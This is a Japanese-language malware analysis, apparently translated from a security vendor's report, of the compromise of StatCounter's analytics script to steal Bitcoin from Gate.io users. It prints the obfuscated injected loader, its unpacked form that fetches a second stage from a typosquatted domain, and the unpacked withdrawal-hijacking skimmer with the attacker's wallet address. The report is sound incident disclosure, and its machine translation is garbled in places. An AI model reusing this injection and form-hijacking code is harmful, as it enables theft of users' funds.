Gate.io暗号通貨交換攻撃が記録されました

11月4日、攻撃者はWebトラフィックを分析するプラットフォームであるStatCounterを侵害しました。 このサービスは、Googleアナリティクスのようなサイト訪問者に関する統計を収集するために使用されます。 これを行うために、ウェブマスターは、外部JavaScriptタグを、StatCounterコード( www.statcounter [。] Com / counter / counter.js)を含むサイトの各ページに追加します。 StatCounterを使用すると、攻撃者はこのプラットフォームを使用してすべてのサイトにJavaScriptコードを挿入できます。 ただし、攻撃の目標は1つのリソースでした-Gate.io暗号通貨交換。









独自のデータによると、StatCounterには200万を超える参加サイトがあり、1か月あたり100億を超えるページビューに関する統計を収集しています。 Alexaの評価は5,000を少し上回っています(比較のために、Debian Linuxの公式Webサイトdebian.orgは同等の評価を持っています)。







攻撃者は、 www.statcounter [。] Com / counter / counter.jsでスクリプトを変更し、スクリプトの中央に以下の形式で示す悪意のあるコードを追加しました。 正当なファイルの先頭または末尾に悪意のあるコードが追加されることが多いため、これは異常です。 既存のスクリプトの途中にあるコードは、読んでいないと気づきにくくなります。



eval(function(p, a, c, k, e, r) { e = function(c) { return c.toString(a) }; if (!''.replace(/^/, String)) { while (c--) r[e(c)] = k[c] || e(c); k = [function(e) { return r[e] }]; e = function() { return '\\w+' }; c = 1 }; while (c--) if (k[c]) p = p.replace(new RegExp('\\b' + e(c) + '\\b', 'g'), k[c]); return p }('3=""+2.4;5(3.6(\'7/8/9\')>-1){a 0=2.b(\'d\');0.e=\'f://ghi/cj\';0.k(\'l\',\'m\');2.nop(0)}', 26, 26, 'ga||document|myselfloc|location|if|indexOf|myaccount|withdraw|BTC|var|createElement||script|src|https|www|statconuter|com|php|setAttribute|async|true|documentElement|firstChild|appendChild'.split('|'), 0, {}));
      
      





スクリプトは、おそらく最も人気のあるJavaScriptラッパーであるDean Edwardsラッパーを使用して作成されました。 ただし、以下に示すように、単に解凍するだけで、実際のスクリプトコードが実行されます。



 myselfloc = '' + document.location; if (myselfloc.indexOf('myaccount/withdraw/BTC') > -1) { var ga = document.createElement('script'); ga.src = 'https://www.statconuter.com/c.php'; ga.setAttribute('async', 'true'); document.documentElement.firstChild.appendChild(ga); }
      
      





コードスニペットは、URLに統合リソース識別子(URI) myaccount / withdraw / BTCが含まれているかどうかを確認します。 これに基づいて、攻撃者の標的はビットコインプラットフォームであると結論付けることができます。 目的のものが見つかったら、スクリプトは新しいスクリプト要素をWebページに追加し、コードwww.statconuter [。] Com / c.phpを埋め込みます。



攻撃者は、正当なStatCounterと非常によく似たドメインを登録したことに注意してください。 2文字の違い-疑わしい活動のために雑誌を見るとき、気づくことは困難です。 ところで、ドメインのパッシブDNSをチェックすると、2010年に運用違反がブロックされていることがわかりました。







繰り返しますが、スクリプトは特定の識別子(URI)をターゲットにします: myaccount / withdraw / BTC この記事の執筆時点では、すべての暗号通貨交換の中で、Gate.ioのみがこのURIを持つ有効なページを持っていました。 この特定の交換が攻撃の標的だったようです。 このサイトは非常に人気があります。Alexaの評価は26,251、中国での評価は8,308です。







さらに、coinmarketcap.comによると、160万ドルのビットコインを含む、数百万ドルがこのプラットフォームを毎日通過します。 一般に、Gate.ioに対する攻撃者の関心は簡単に説明できます。







ウェブページwww.gate [。] Io / myaccount / withdraw / BTC(下記参照)は、gate.ioのアカウントから外部アドレスにビットコインを転送するために使用されます。







statconuter [。] Com / c.phpを使用した第2段階のペイロードは、ビットコインを盗むように設計されています。 Dean Edwardsを使用してパッケージ化されたこのスクリプトは、ビットコインをGate.ioに変換するためのWebページに埋め込まれています。 以下のアンパックバージョン。



 document.forms[0]['addr'].value = ''; document.forms[0]['amount'].value = ''; doSubmit1 = doSubmit; doSubmit = function () { var a = document.getElementById('withdraw_form'); if ($('#amount').val() > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); a.submit(); } else if (document.getElementById('canUse').innerText > 10) { document.forms[0]['addr']['name'] = ''; var s = $("<input type='hidden' name='addr'/>"); s.attr('value', '1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad'); var b = $('#withdraw_form'); b.append(s); document.forms[0]['amount']['name'] = ''; var t = $("<input type='hidden' name='amount'/>"); t.attr('value', Math.min(document.getElementById('canUse').innerText, document.getElementById('dayLimit').innerText)); b.append(t); a.submit(); } else { doSubmit1(); } };
      
      





正当なGate.ioページには、ユーザーが送信ボタンをクリックしたときに呼び出されるdoSubmit



関数があります。 私たちの場合、攻撃者はそれを変更しました。



悪意のあるスクリプトは、ユーザーのビットコインウォレットアドレスを攻撃者に属するアドレス( 1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad



など)に1JrFLmGVk1ho1UcMPq1WYirHptcCYr2jad



ます。 攻撃者サーバーは、訪問者がstatconuter [。] Com / c.phpスクリプトをダウンロードするたびに新しいアドレスを生成します。



スクリプトは、被害者が入力した金額(被害者が10個を超えるビットコインを転送する場合)またはアカウントから暗号通貨を削除するための1日の制限を使用します。 テストアカウントでは、償却限度は100 BTCに設定されていました。 最後に、スクリプトは、被害者のアカウントから攻撃者のウォレットアドレスに資金を転送するフォームを送信します。



「送信」ボタンをクリックするとウォレットが変更されるため、資金のリダイレクトはおそらく目に見えない形で被害者に行われます。 これは非常に迅速に、視覚的な表示なしで発生します。



悪意のあるスクリプトが要求されるたびに、サイバー犯罪者の新しいビットコインアドレスが生成されるため、彼らの収入を推定することはできません。 テストマシンで使用したアドレスを確認すると、残高はゼロです。







おわりに



この攻撃中に盗まれたビットコインの数はわかりません。 ただし、この事件は、攻撃者が特定のリソース、特に暗号通貨交換を攻撃する方法を示しています。 1つの取引所のユーザーからビットコインを盗むために、彼らはいくつかの政府サイトを含む数百万のウェブサイトが使用する分析プラットフォームを侵害しました。



さらに、サイトが更新され、確実に保護されている場合でも、サードパーティのリソースを介した攻撃に対して依然として脆弱であることを示しています。 サードパーティの外部JavaScriptコードは、予告なしにいつでも変更される可能性があることを思い出させてください。



StatCounterとGate.ioに悪意のある活動について警告しました。



侵害インジケータ



悪意のあるURL



www.statcounter [。] Com / counter / counter.js

www.statconuter [。] Com / c.php



All Articles